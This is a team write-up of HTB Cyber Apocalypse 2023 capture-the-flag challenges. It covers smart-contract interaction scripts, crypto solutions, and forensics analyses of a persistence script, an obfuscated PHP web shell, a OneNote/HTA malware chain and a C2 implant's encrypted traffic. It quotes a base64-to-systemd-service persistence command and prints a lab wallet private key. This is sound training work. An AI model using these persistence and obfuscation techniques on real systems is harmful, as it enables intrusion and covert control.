Cyber Apocalypse 2023
blockchain
Navigating the unknown
Solved by : thewhiteh4t
- Unknown.sol contains our contract with a simple condition i.e. if value
version
is 10 updated is set toTrue
- When we connect with netcat and print flag, value of updated is checked, if value is True the flag is presented
- First we need to get the current value of target address :
- Target address is required to interact with the contract
- I used
web3py
to interact with the contract using the following script :
from web3 import Web3
from solcx import compile_source
w3 = Web3(Web3.HTTPProvider('http://167.172.50.208:32499'))
print(f'Connected : {w3.is_connected()}')
target = '0xBB5Cd458D2691070a1c9460C2d5882253e36a5c0'
with open('Unknown.sol', 'r') as solfile:
sol_code = solfile.read()
compiled_sol = compile_source(sol_code, output_values=['abi', 'bin'])
contract_id, contract_interface = compiled_sol.popitem()
abi = contract_interface['abi']
print('Updating Value to 10')
contract_instance = w3.eth.contract(address=target, abi=abi)
contract_instance.functions.updateSensors(10).transact()
- Script first checks connection with the rpc endpoint
- After that it compiles the contract source code, this is required to get value of
abi
i.e.Application Binary Interface
- Its a sort of definition of the functions and data types present in the contract
- abi of unknown.sol :
[
{
'inputs': [
{
'internalType': 'uint256',
'name': 'version',
'type': 'uint256'
}
],
'name': 'updateSensors',
'outputs': [],
'stateMutability': 'nonpayable',
'type': 'function'
},
{
'inputs': [],
'name': 'updated',
'outputs':
[
{
'internalType': 'bool',
'name': '',
'type': 'bool'
}
],
'stateMutability': 'view',
'type': 'function'
}
]
- So in this we can see our target function name is
updateSensors
- Finally script calls transact function on updateSensors with argument 10 which is the value of version required to set updated to True
- After running the script and going back to netcat we can print the flag
Shooting 101
Solved by : thewhiteh4t
- In this challenge we are introduced with
fallback
,receive
andmodifiers
- in ShootingArea.sol three modifiers are present like :
modifier firstTarget() {
require(!firstShot && !secondShot && !thirdShot);
_;
}
- Require as the name suggests waits for the conditions to become satisfactory
- when the conditions are satisfied it uses a wildcard merge i.e.
_;
- firstTarget modifier is mentioned in the following section of the code :
fallback() external payable firstTarget {
firstShot = true;
}
- This means that fallback() will only execute when conditions in firstTarget are satisfied
- when fallback will run
firstShot
will becomeTrue
- similarly there are two more modifiers with different conditions
- in my understanding (don’t trust this) fallback is called if a non existent function is called or if random data is sent to the contract in a transaction
- after calling fallback receive is usable and finally third function is usable
- while trying I was trying to use
transact()
on them but they were throwing errors - they work in the specific order in this challenge (maybe?)
- Here is the script :
from web3 import Web3
from web3 import exceptions
from solcx import compile_source
import time
w3 = Web3(Web3.HTTPProvider('http://104.248.169.177:30380'))
print(f'Connected : {w3.is_connected()}\n')
target = '0x09c3Dfe533774564a7761b5fEC15Ff5b0264Ec64'
addr = '0x73Fca728DbD9592D28DF01f8a63427912498a50E'
with open('ShootingArea.sol', 'r') as solfile:
sol_code = solfile.read()
compiled_sol = compile_source(sol_code, output_values=['abi', 'bin'])
contract_id, contract_interface = compiled_sol.popitem()
abi = contract_interface['abi']
contract_instance = w3.eth.contract(address=target, abi=abi)
f_shot = contract_instance.functions.firstShot().call()
s_shot = contract_instance.functions.secondShot().call()
t_shot = contract_instance.functions.thirdShot().call()
print(f'First Shot : {f_shot}')
print(f'Second Shot : {s_shot}')
print(f'Third Shot : {t_shot}\n')
print('Hitting First Target...')
w3.eth.send_transaction({
'to': target,
'from': addr,
'value': 0,
'data': '0x1'
})
upd_f_shot = contract_instance.functions.firstShot().call()
print(f'First Shot : {upd_f_shot}')
print('Hitting Second Target...')
contract_instance.receive.transact()
upd_s_shot = contract_instance.functions.secondShot().call()
print(f'Second Shot : {upd_s_shot}')
print('Hitting Third Target...')
contract_instance.functions.third().transact()
upd_t_shot = contract_instance.functions.thirdShot().call()
print(f'Third Shot : {upd_t_shot}')
- To solve we need to hit all three targets i.e. turn all to True :
nigamelastic’s Solution to the two Blockchain challenges
Navigating the unknown
A lot of stuff to install web3py https://remix.ethereum.org/#lang=en&optimize=false&runs=200&evmVersion=null&version=soljson-v0.8.18+commit.87f61d96.js
Target details:
Private key : 0x9ccac2d9cb08e106e616725eb93ae220b74e45f84fcba7144385cbbf50be4287
Address : 0x2F89F82055E803b470Da977C8260B4B25d0Fc43B
Target contract : 0x91FCa15f2602469894850ACEd90A6Fa523338e5d
Setup contract : 0x00Ac07B771a835CA9E31A38B2FFFB2F1695dF6Fe
connected to rpc url:
kali python3
Python 3.11.2 (main, Feb 12 2023, 00:48:52) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from web3 import Web3
>>> rpc_url="http://144.126.196.198:31920"
>>> web3 = Web3(Web3.HTTPProvider(rpc_url))
>>> web3.isConnected()
Checking stuff in ur private key:
private_key = '0x9ccac2d9cb08e106e616725eb93ae220b74e45f84fcba7'
account: LocalAccount = Account.from_key(private_key)
print(f"Your hot wallet address is {account.address}")
public_address='0x2F89F82055E803b470Da977C8260B4B25d0Fc43B'
>>> balance = web3.eth.get_balance(public_address)
>>> print(balance)
5000000000000000000000
web3.default_account = account.address
target_contract='0x91FCa15f2602469894850ACEd90A6Fa523338e5d'
from web3.gas_strategies.rpc import rpc_gas_price_strategy
web3.eth.set_gas_price_strategy(rpc_gas_price_strategy)
running transaction keeps giving me error
Traceback (most recent call last):
File "/home/kali/Desktop/repos/Writeups/cyberapocalypse/cyberapolcalypse2023/blockchain/blockchain_navigating_the_unknown/solution2.py", line 6, in <module>
print(w3.isConnected())
^^^^^^^^^^^^^^
AttributeError: 'Web3' object has no attribute 'isConnected'. Did you mean: 'is_connected'?
yeah all of that is BS, screw python learn nodejs like this:
const Web3 = require('web3');
const abi = [
{
"inputs": [
{
"internalType": "uint256",
"name": "version",
"type": "uint256"
}
],
"name": "updateSensors",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "updated",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "view",
"type": "function"
}
];
const contractAddress = '0x7b92F8C66e04b3cc857218EeFaA433eab35F10d0';
const rpcUrl = 'http://188.166.152.84:30963';
const web3 = new Web3(new Web3.providers.HttpProvider(rpcUrl));
const contract = new web3.eth.Contract(abi, contractAddress);
const version = 10;
contract.methods.updateSensors(version).send({ from: '0x5Bb68dc361f80fabB55916189af56d850d98FFDE' }, (error, txHash) => {
if (error) {
console.log('Error:', error);
} else {
console.log('Transaction hash:', txHash);
}
});
to get the flag
Shooting 101
const Web3 = require('web3');
const web3 = new Web3('http://165.232.108.240:31803');
// import the ABI of the ShootingArea and Setup contracts
const shootingAreaABI = [{"inputs":[],"stateMutability":"payable","type":"constructor"},{"inputs":[],"name":"firstShot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"secondShot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"thirdShot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fallback","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"bool","name":"","type":"bool"}],"name":"firstTarget","outputs":[],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"","type":"bool"}],"name":"secondTarget","outputs":[],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"","type":"bool"}],"name":"thirdTarget","outputs":[],"stateMutability":"view","type":"function"},{"inputs":[],"name":"third","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"receive","outputs":[],"stateMutability":"payable","type":"function"}];
const setupABI = [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"isSolved","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"}];
// create contract instances
const shootingAreaAddress = '0xAbfA937f5DAA74d1a85b4e57Ad129be70b4C31c0';
const shootingAreaContract = new web3.eth.Contract(shootingAreaABI, shootingAreaAddress);
const setupAddress = '0xc1023661c8d6A9d19c6fC9a76f7124b843E41eEF';
const setupContract = new web3.eth.Contract(setupABI, setupAddress);
async function solvePuzzle() {
// send a transaction to the fallback function of the ShootingArea contract
const tx = await web3.eth.sendTransaction({
to: shootingAreaAddress,
value: web3.utils.toWei('1', 'ether')
});
console.log(`Sent transaction to ShootingArea fallback function. Transaction hash: ${tx.transactionHash}`);
// send a transaction to the receive function of the ShootingArea contract
const tx2 = await web3.eth.sendTransaction({
to: shootingAreaAddress,
value: web3.utils.toWei('1', 'ether')
});
console.log(`Sent transaction to ShootingArea receive function. Transaction hash: ${tx2.transactionHash}`);
// call the third function of the ShootingArea contract
const tx3 = await shootingAreaContract.methods.third().send();
console.log(`Called ShootingArea third function. Transaction hash: ${tx3.transactionHash}`);
// check if the puzzle is solved
const isSolved = await setupContract.methods.isSolved().call();
console.log(`Puzzle solved? ${isSolved}`);
}
solvePuzzle();
yeah that didnt work but we see fallback function
as per
https://www.geeksforgeeks.org/solidity-fall-back-function/
Only one unnamed function can be assigned to a contract and it is executed whenever the contract receives plain Ether without any data
I am using this to check the boolean value of all the three flags:
const Web3 = require('web3');
const web3 = new Web3(new Web3.providers.HttpProvider('http://165.232.100.46:31589'));
const YOUR_ADDRESS = '0x925A577a42A87bb4B364e9fc8D987779f5B05442';
const fromAddress = YOUR_ADDRESS
const setupAbi = [
{
"inputs": [],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"inputs": [],
"name": "TARGET",
"outputs": [
{
"internalType": "contract ShootingArea",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "isSolved",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "view",
"type": "function"
}
];
const shootingAreaAbi = [
{
"inputs": [],
"name": "firstShot",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "secondShot",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "thirdShot",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "view",
"type": "function"
}
];
// Import web3 library and contract ABI
const abi = shootingAreaAbi;
// Create contract instance
const contractAddress = '0x010953B8CBe4dF657D80EDd832825A1d1Fc0972D';
const shootingArea = new web3.eth.Contract(abi, contractAddress);
// Call getter functions for firstShot, secondShot, and thirdShot
shootingArea.methods.firstShot().call((err, result) => {
if (err) {
console.error(err);
return;
}
console.log(`First shot: ${result}`);
});
shootingArea.methods.secondShot().call((err, result) => {
if (err) {
console.error(err);
return;
}
console.log(`Second shot: ${result}`);
});
shootingArea.methods.thirdShot().call((err, result) => {
if (err) {
console.error(err);
return;
}
console.log(`Third shot: ${result}`);
});
web3.eth.getBalance(fromAddress, (error, result) => {
if (error) {
console.error(error);
} else {
console.log('Balance in wei:', result);
console.log('Balance in ether:', web3.utils.fromWei(result, 'ether'));
}
});
/* txHash='0xcf1cfac084f18e9795a79d8f04be0403b12b5536cd1eb56ab206246fd0442d80'
web3.eth.getTransactionReceipt(txHash, function(err, receipt) {
console.log(receipt);
});
*/
basically:
Use for first we need to trigger fallback() without receive() : in order to trigger fallback we need to send a transaction with 0 data so use this:
try {
const tx1 = await web3.eth.sendTransaction({
to: contractAddress,
value: web3.utils.toWei('1', 'ether'),
from: fromAddress,
data: '00' //comment this for second shot
});
} catch (error) {
console.log('Error calling functions:', error);
}
for second shot aka receive run following:
try {
const tx1 = await web3.eth.sendTransaction({
to: contractAddress,
value: web3.utils.toWei('1', 'ether'),
from: fromAddress,
});
} catch (error) {
console.log('Error calling functions:', error);
For the third run this:
const contract = new web3.eth.Contract(contractAbi, contractAddress);
contract.methods.third().send({ from: '0x34Cf03f8487C773c36bfd3A632178c501C62e7d7' }, (error, txHash) => {
if (error) {
console.log('Error:', error);
} else {
console.log('Transaction hash:', txHash);
}
});
All three conditions met we get the flag
crypto
Ancient Encodings
Solved by Legend
Challenge description
Your initialization sequence requires loading various programs to gain the necessary knowledge and skills for your journey. Your first task is to learn the ancient encodings used by the aliens in their communication.
In this challenge we were provided a python
script named source.py
and output.txt
file containing the encrypted flag.
# source.py
from Crypto.Util.number import bytes_to_long
from base64 import b64encode
FLAG = b"HTB{??????????}"
def encode(message):
return hex(bytes_to_long(b64encode(message)))
def main():
encoded_flag = encode(FLAG)
with open("output.txt", "w") as f:
f.write(encoded_flag)
if __name__ == "__main__":
main()
# output.txt
0x53465243657a467558336b7764584a66616a4231636d347a655639354d48566664326b786246397a5a544e66644767784e56396c626d4d775a4446755a334e665a58597a636e6c33614756794d33303d
The script is encoding the flag in hex --> base64
to encrypt the flag.
To solve this I used CyberChef with following steps
Perfect Synchronization
Solved by Avantika(@iamavu)
Challenge Description
The final stage of your initialization sequence is mastering cutting-edge technology tools that can be life-changing. One of these tools is quipqiup, an automated tool for frequency analysis and breaking substitution ciphers. This is the ultimate challenge, simulating the use of AES encryption to protect a message. Can you break it?
We are given two files, one is very long hex text file and another one is the below is the source.py
#import library and the plaintext(flag)
from os import urandom
from Crypto.Cipher import AES
from secret import MESSAGE
#make all characters from the message in uppercase except underscore, curly braces and space
assert all([x.isupper() or x in '{_} ' for x in MESSAGE])
class Cipher:
def __init__(self):
self.salt = urandom(15) #generate secure random salt using 'urandom'
key = urandom(16) #generate secure random key using 'urandom'
self.cipher = AES.new(key, AES.MODE_ECB) #generate aes-ecb cipher
def encrypt(self, message):
return [self.cipher.encrypt(c.encode() + self.salt) for c in message] #encode the string, add salt and then encrypy it char by char
def main():
cipher = Cipher()
encrypted = cipher.encrypt(MESSAGE) #encrypt the plaintext/flag
encrypted = "\n".join([c.hex() for c in encrypted]) #hex it up char by char with new line after every char
with open("output.txt", 'w+') as f:
f.write(encrypted) #write the file to output.txt
if __name__ == "__main__":
main()
P.S - Comments are added by me, challenge didn’t have the comments
So we know what the source.py
is doing, but here is the catch, if you open up the output.txt
you will see that lot of the hex strings are being repeated and the description mentions the tool quipqiup
which is a frequency analysis tool.
My approach to this was that each char would be alphabet excluding the underscore, curly braces and space. So the encryption of let’s say a
would be the same hex string because that’s how AES-ECB works.
So if we have default frequency of english alphabet, and we calculate frequency of various hex strings in the output.txt
we should be able to co-relate which hex string is which character and then pass this new replaced text to quipqiup
and get our flag
time to script, hackers!
import collections
default_frequency = list("ETAOINSRHDLUCMFYWGPBVKXQJZ _{}") #default frequnece of english alphabet
output = open('output.txt', 'r')
ct_list = output.readlines() #read the output file line by line
final_list = [item.replace('\n', '') for item in ct_list] #remove the new line and make it a list
frequency = collections.Counter(final_list) #create dict with key/value pair of string and it's frequency
sorted_dict = dict(sorted(dict(frequency).items(), key=lambda x:x[1], reverse=True)) #looks a lot but it essentially sorts the dict by value (frequency)
ultra_dict = dict(zip(sorted_dict, default_frequency)) #create a dict with value replaced with alphabets
text = ''.join(ct_list) #get the ciphertext
for hexvalue, letter in ultra_dict.items():
text = text.replace(hexvalue, letter) #replace each hext string in cipher text with the letter it belongs to from the final dict we created
print(text.replace('\n', ''))
print('\n')
print("Send above text to quipqiup")
output.close()
Well, that was really messy logic and very bad code but it works : D We will get output of some text when you run this
YNTJCTRLFEORODFASAESAEPOATMEHREIUTEYOLIEIUOIESREORFEGSXTREAINTILUEHYEVNSIITREDORGCOGTELTNIOSREDTIITNAEORMELHBPSROISHRAEHYEDTIITNAEHLLCNEVSIUEXONFSRGEYNTJCTRLSTAEBHNTHXTNEIUTNTESAEOELUONOLITNSAISLEMSAINSPCISHREHYEDTIITNAEIUOIESAENHCGUDFEIUTEAOBTEYHNEODBHAIEODDEAOBWDTAEHYEIUOIEDORGCOGTESRELNFWIORODFASAEYNTJCTRLFEORODFASAEODAHEKRHVREOAELHCRISRGEDTIITNAESAEIUTEAICMFEHYEIUTEYNTJCTRLFEHYEDTIITNAEHNEGNHCWAEHYEDTIITNAESREOELSWUTNITZIEIUTEBTIUHMESAECATMEOAEOREOSMEIHEPNTOKSRGELDOAASLODELSWUTNAEYNTJCTRLFEORODFASAENTJCSNTAEHRDFEOEPOASLECRMTNAIORMSRGEHYEIUTEAIOISAISLAEHYEIUTEWDOSRITZIEDORGCOGTEORMEAHBTEWNHPDTBEAHDXSRGEAKSDDAEORMESYEWTNYHNBTMEPFEUORMEIHDTNORLTEYHNETZITRASXTEDTIITNEPHHKKTTWSRGEMCNSRGEVHNDMEVONESSEPHIUEIUTEPNSISAUEORMEIUTEOBTNSLORAENTLNCSITMELHMTPNTOKTNAEPFEWDOLSRGELNHAAVHNMEWCQQDTAESREBO_HNERTVAWOWTNAEORMENCRRSRGELHRITAIAEYHNEVUHELHCDMEAHDXTEIUTBEIUTEYOAITAIEATXTNODEHYEIUTELSWUTNAECATMEPFEIUTEOZSAEWHVTNAEVTNTEPNTOKOPDTECASRGEYNTJCTRLFEORODFASAEYHNETZOBWDTEAHBTEHYEIUTELHRACDONELSWUTNAECATMEPFEIUTE_OWORTATEBTLUORSLODEBTIUHMAEHYEDTIITNELHCRISRGEORMEAIOISAISLODEORODFASAEGTRTNODDFEUIP{O ASBWDT ACPAISICISHR SA VTOK}ELONMEIFWTEBOLUSRTNFEVTNTEYSNAIECATMESREVHNDMEVONESSEWHAASPDFEPFEIUTECAEONBFAEASAEIHMOFEIUTEUONMEVHNKEHYEDTIITNELHCRISRGEORMEORODFASAEUOAEPTTRENTWDOLTMEPFELHBWCITNEAHYIVONTEVUSLUELORELONNFEHCIEACLUEORODFASAESREATLHRMAEVSIUEBHMTNRELHBWCISRGEWHVTNELDOAASLODELSWUTNAEONTECRDSKTDFEIHEWNHXSMTEORFENTODEWNHITLISHREYHNELHRYSMTRISODEMOIOEWCQQDTEWCQQDTEWCQQDT
and when you send this to https://quipqiup.com/ we will get out plaintext
FREQUENCYZANALYSISZISZBASEDZONZTHEZFACTZTHATZINZANYZGIVENZSTRETCHZOFZWRITTENZLANGUAGEZCERTAINZLETTERSZANDZCOMBINATIONSZOFZLETTERSZOCCURZWITHZVARYINGZFREQUENCIESZMOREOVERZTHEREZISZAZCHARACTERISTICZDISTRIBUTIONZOFZLETTERSZTHATZISZROUGHLYZTHEZSAMEZFORZALMOSTZALLZSAMPLESZOFZTHATZLANGUAGEZINZCRYPTANALYSISZFREQUENCYZANALYSISZALSOZKNOWNZASZCOUNTINGZLETTERSZISZTHEZSTUDYZOFZTHEZFREQUENCYZOFZLETTERSZORZGROUPSZOFZLETTERSZINZAZCIPHERTEXTZTHEZMETHODZISZUSEDZASZANZAIDZTOZBREAKINGZCLASSICALZCIPHERSZFREQUENCYZANALYSISZREQUIRESZONLYZAZBASICZUNDERSTANDINGZOFZTHEZSTATISTICSZOFZTHEZPLAINTEXTZLANGUAGEZANDZSOMEZPROBLEMZSOLVINGZSKILLSZANDZIFZPERFORMEDZBYZHANDZTOLERANCEZFORZEXTENSIVEZLETTERZBOOKKEEPINGZDURINGZWORLDZWARZIIZBOTHZTHEZBRITISHZANDZTHEZAMERICANSZRECRUITEDZCODEBREAKERSZBYZPLACINGZCROSSWORDZPUJJLESZINZMA_ORZNEWSPAPERSZANDZRUNNINGZCONTESTSZFORZWHOZCOULDZSOLVEZTHEMZTHEZFASTESTZSEVERALZOFZTHEZCIPHERSZUSEDZBYZTHEZAXISZPOWERSZWEREZBREAKABLEZUSINGZFREQUENCYZANALYSISZFORZEXAMPLEZSOMEZOFZTHEZCONSULARZCIPHERSZUSEDZBYZTHEZ_APANESEZMECHANICALZMETHODSZOFZLETTERZCOUNTINGZANDZSTATISTICALZANALYSISZGENERALLYZHTB{A SIMPLE SUBSTITUTION IS WEAK}ZCARDZTYPEZMACHINERYZWEREZFIRSTZUSEDZINZWORLDZWARZIIZPOSSIBLYZBYZTHEZUSZARMYSZSISZTODAYZTHEZHARDZWORKZOFZLETTERZCOUNTINGZANDZANALYSISZHASZBEENZREPLACEDZBYZCOMPUTERZSOFTWAREZWHICHZCANZCARRYZOUTZSUCHZANALYSISZINZSECONDSZWITHZMODERNZCOMPUTINGZPOWERZCLASSICALZCIPHERSZAREZUNLIKELYZTOZPROVIDEZANYZREALZPROTECTIONZFORZCONFIDENTIALZDATAZPUJJLEZPUJJLEZPUJJLE
Which is sorta broken as Z
came in the place of space
and space
came in the place of _
but it sorta worked(?)
we have our flag string
HTB{A SIMPLE SUBSTITUTION IS WEAK}
replace space by underscore and we good to go
HTB{A_SIMPLE_SUBSTITUTION_IS_WEAK}
Small StEps
Solved by Starry-Lord
──(starlord㉿HAL-9090)-[~/Bureau/tools/RsaCtfTool]
└─$ python3 RsaCtfTool.py -n 5597972584718598406690499051990413577290211490538759507986683212737503437232726430145509927989660577399319692954532703407466611677039848415663500281956971 -e 3 --uncipher 70407336670535933819674104208890254240063781538460394662998902860952366439176467447947737680952277637330523818962104685553250402512989897886053
Results for /tmp/tmp3441ap7k:
Unciphered data :
HEX : 0x4854427b356d61316c5f452d7870306e336e747d
INT (big endian) : 412926389432612660984016953290834154417829082237
INT (little endian) : 716220332648329290345370113693957684850803758152
utf-8 : HTB{5ma1l_E-xp0n3nt}
utf-16 : 呈筂洵ㅡ彬ⵅ灸渰渳絴
STR : b'HTB{5ma1l_E-xp0n3nt}'
forensics
Plaintext Tleasure
Solved by : thewhiteh4t
- Simple challenge, just go through HTTP requests and flag is sent in a POST request
HTB{th3s3_4l13ns_st1ll_us3_HTTP}
Alien cradle
Solved by : thewhiteh4t
- A powershell script is given
-
the flag is present in a variable
f
in concatenated formHTB{p0w3rsh3ll_Cr4dl3s_c4n_g3t_th3_j0b_d0n3}
Extraterrestrial persistence
Solved by : thewhiteh4t
- A bash script is given which installs a systemd service
- one of the lines contains an
echo
command :
echo -e "W1VuaXRdCkRlc2NyaXB0aW9uPUhUQnt0aDNzM180bDEzblNfNHIzX3MwMDAwMF9iNHMxY30KQWZ0ZXI9bmV0d29yay50YXJnZXQgbmV0d29yay1vbmxpbmUudGFyZ2V0CgpbU2VydmljZV0KVHlwZT1vbmVzaG90ClJlbWFpbkFmdGVyRXhpdD15ZXMKCkV4ZWNTdGFydD0vdXNyL2xvY2FsL2Jpbi9zZXJ2aWNlCkV4ZWNTdG9wPS91c3IvbG9jYWwvYmluL3NlcnZpY2UKCltJbnN0YWxsXQpXYW50ZWRCeT1tdWx0aS11c2VyLnRhcmdldA=="|base64 --decode > /usr/lib/systemd/system/service.service
- Decoding the base64 string gives us the flag
HTB{th3s3_4l13nS_4r3_s00000_b4s1c}
Roten
Solved by : thewhiteh4t
- A PCAP file is given again
- Apply a filter to view only POST requests :
http.request.method=="POST"
- In one of the requests we can see a PHP file by the name
galacticmap.php
is uploaded
- It is a obfuscated PHP file, in its last line of code
eval
function is executed - To de-obfuscate I commented out the eval and added an
echo
- After running this PHP file we can get the flag :
Packet cyclone
Solved by : thewhiteh4t
- We are given Windows EVTX files and sigma rules for detecting exfiltration using
rclone
- To scan these EVTX files we can use
chainsaw
which supports sigma rules
chainsaw hunt -s sigma_rules -m sigma-event-logs-all.yml Logs
- Two detection are shown
-
First one contains credentials of
mega.nz
- Second contains file paths
- Here are the correct answers based on information given in these two detection :
Artifacts of disastrous sightings
Solved by : thewhiteh4t
- In this challenge we start with a
vhdx
file which is a type of virtual hard disk
> file 2023-03-09T132449_PANDORA.vhdx
2023-03-09T132449_PANDORA.vhdx: Microsoft Disk Image eXtended, by .NET DiscUtils, sequence 0x8; LOG; region, 2 entries, id Metadata, at 0x200000, Required 1, id BAT, at 0x300000, Required 1
- Before we can mount this disk we need to find partition information using
guestfish
:
> guestfish -a 2023-03-09T132449_PANDORA.vhdx
Welcome to guestfish, the guest filesystem shell for
editing virtual machine filesystems and disk images.
Type: ‘help’ for help on commands
‘man’ to read the manual
‘quit’ to quit the shell
><fs> run
><fs> list-filesystems
/dev/sda1: ntfs
><fs> exit
- Now we can mount it using
guestmount
:
> guestmount -a 2023-03-09T132449_PANDORA.vhdx -m /dev/sda1 --ro mpoint
- Now I started enumerating with the given hints in challenge description :
> notices the Windows Event Viewer tab open on the Security log
> takes a snapshot of her machine and shuts it down
> diving deep down and following all traces
- After some digging I landed on powershell command history :
C/Users/Pandora/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadline
- So attackers executed a command and removed powershell logs
- At this point I went looking into multiple ways of extracting and reading powershell EVTX logs but could not find anything useful
- Then I finally realized that the command is actually creating a
hidden.ps1
inAlternate Data Stream
, this is an NTFS specific feature and attackers can hide payloads in ADS - After this I realized the title of the challenge is also a big hint which I totally missed otherwise it would have saved lot of time
- After switching to windows I confirmed my doubts and it was indeed ADS :
PS E:\C\Windows\Tasks> Get-Item * -Stream *
- for reading
hidden.ps1
:
PS E:\C\Windows\Tasks> get-item .\ActiveSyncProvider.dll | Get-Content -Stream 'hidden.ps1'
- I got excited and quickly loaded the encoded string in cyberchef and this happened :
- A very long string of these special characters, at this point I kept trying to fix the base64 because there are many sections which are duplicate
- Finally I gave up on fixing and started to find more about this type of encoding and after sometime landed on this project :
https://github.com/danielbohannon/Invoke-Obfuscation
- This project uses a technique found by 牟田口大介 (@mutaguchi) :
http://perl-users.jp/articles/advent-calendar/2010/sym/11
- This turned out to be a custom encoding technique and I could not find any de-obfuscator for it, so the easiest way forward was to just run the script and extract the script blocks from EVTX files in windows
- By default module logging and script block logging are disabled, I enabled both in GPO
- After this I executed
hidden.ps1
and checked event logs and finally I saw some readable code :
- Now I started looking for more code but not much was visible in viewer so I started looking for something to extract script blocks and found this nice blog :
https://vikas891.medium.com/join-powershell-script-from-event-logs-12deef6dd5ab
https://gist.githubusercontent.com/vikas891/841ac223e69913b49dc2aa9cc8663e34/raw/ce73035acd161c181da2bc9bb4fdab235e0f0de2/ExtractAllScripts.ps1
- The script provided at the end worked perfectly!
- In one of the scripts I got the flag :
Relic Maps
Solved by: Bobbysox
The relic maps challenge started with the link to one file called relicmaps.one. This is a onedrive file and has been the focus of recent breaches because it can bypass the Mark of the Web(MOTW). I used a tool called pyone note.
https://github.com/DissectMalware/pyOneNote
Now that we have extracted all the data the next thing to do was hunt down the macros that were likely used for this attack. This attacker embedded an hta file that contained vbscript. This vbscript would effectively reach out for the “payload”
initial access vector exploit chain phish>.hta>vbscript>wmi>download>cmd_exec
The only valid url out of those was the windows.bat file. It was a mess, but there were three separate parts to this payload that make it “work”
The table of obfuscated strings:
The commands that these strings were being mapped to:
This isnt actually encryption or encoding, its a long and obnoxious obfuscation technique instead. The values pictured above, were mapped to a section of encrypted text that appeared lower in the windows.bat file:
Unknown data:
You can confirm this by decrypting a few blocks and see if it makes sense like so:
to help assist in the decryption of the text, TwH assisted with a python script that could automate this:
Now that the python script did most of the heavy lifting, I just separated the script by the variables and the one function that was present:
From here it was very trivial. This has been seen in the wild and written about by sans instructors here: https://isc.sans.edu/diary/A+First+Malicious+OneNote+Document/29470 it was quite easy as it was just reverse base64 as noted here:
('gnirtS46esaBmorF'[-1..-16] -join '')
We have completely reverse engineered the cryptographic functions and have managed to obtain the full keys. There was only one data set we havent used yet. Pretty solid guess that it is our actual payload. The only thing we had to do to get the flag was follow the sans article exactly on how they decrypted the payload.
Interstellar C2
Solved by : thewhiteh4t
- Challenge begins with a PCAPNG file with about 8K packets containing c2 traffic
- After some poking around it was clear that this c2 was using HTTP protocol
- Working in the order of packets first packet contains a request for a powershell script
- It was slightly obfuscated so I used PSDecode, after decoding :
- It fetches an encrypted blob from the c2 server using BitsTransfer
- Decrypts using hardcoded key and iv and stores it as an
exe
file - This request in wireshark :
- By modifying the ps1 script I got the exe file :
- De-compiling the exe was very easy because it was written in c#
- This exe file turns out to be an implant used by the c2
- Now the first get request after ps1 script download is made by this implant :
- This turns out to be another encrypted blob, this url query is hardcoded in the source code :
- The key for AES is also hardcoded
- Lets look at the encryption function of the implant :
private static string Encryption(string key, string un, bool comp = false, byte[] unByte = null)
{
byte[] array = null;
array = (byte[])((unByte == null) ? ((object)Encoding.UTF8.GetBytes(un)) : ((object)unByte));
if (comp)
{
array = Compress(array);
}
try
{
SymmetricAlgorithm val = CreateCam(key, null);
byte[] second = val.CreateEncryptor().TransformFinalBlock(array, 0, array.Length);
return Convert.ToBase64String(Combine(val.get_IV(), second));
}
catch
{
SymmetricAlgorithm val2 = CreateCam(key, null, rij: false);
byte[] second2 = val2.CreateEncryptor().TransformFinalBlock(array, 0, array.Length);
return Convert.ToBase64String(Combine(val2.get_IV(), second2));
}
}
- Standard AES encryption, but the value of IV is not hardcoded, this was very interesting because all of the implant traffic is encrypted
- we can assume that the server has the key, but if we look at the encryption function the iv is generated on the victim machine by the implant, so server does not have the IV
- so how is the server decrypting requests ? I kept looking in the code and pcap for hours but I could not find it
- finally when i looked at everything I had, the URL was the only plain text data being sent to the server! So I tried to use part of the hardcoded URL as the IV :
- and it works! I got another base64 block, after decrypting that :
- First line contains the random URI value which we can see in the pcap
- After that there is a large array which contains more URLs similar to the hardcoded one
- Similarly it also contains base64 for PNG images and other juicy stuff
- Server sends a new key for AES encryption :
nUbFDDJadpsuGML4Jxsq58nILvjoNu76u4FIHVGIKSQ=
What is going on ?
- The implant makes a GET request to the c2 server to grab URLs, images and keys
- Then when any command is issued from the c2 server the implant uses that key to encrypt the command output and uses PNGs to send results to the server
- We will see this in detail from this point
- Second GET query and another encrypted blob
- Simple script for decrypting AES :
from base64 import b64decode, b64encode
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
iv = b'Kettie/Emmie/Ann'
with open('../second_get.data', 'rb') as cipherfile:
ctext = cipherfile.read()
ciphertext = b64decode(ctext)
key = b64decode('nUbFDDJadpsuGML4Jxsq58nILvjoNu76u4FIHVGIKSQ=')
# key = b64decode('DGCzi057IDmHvgTVE2gm60w8quqfpMD+o8qCBGpYItc=')
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(pad(ciphertext, 128))
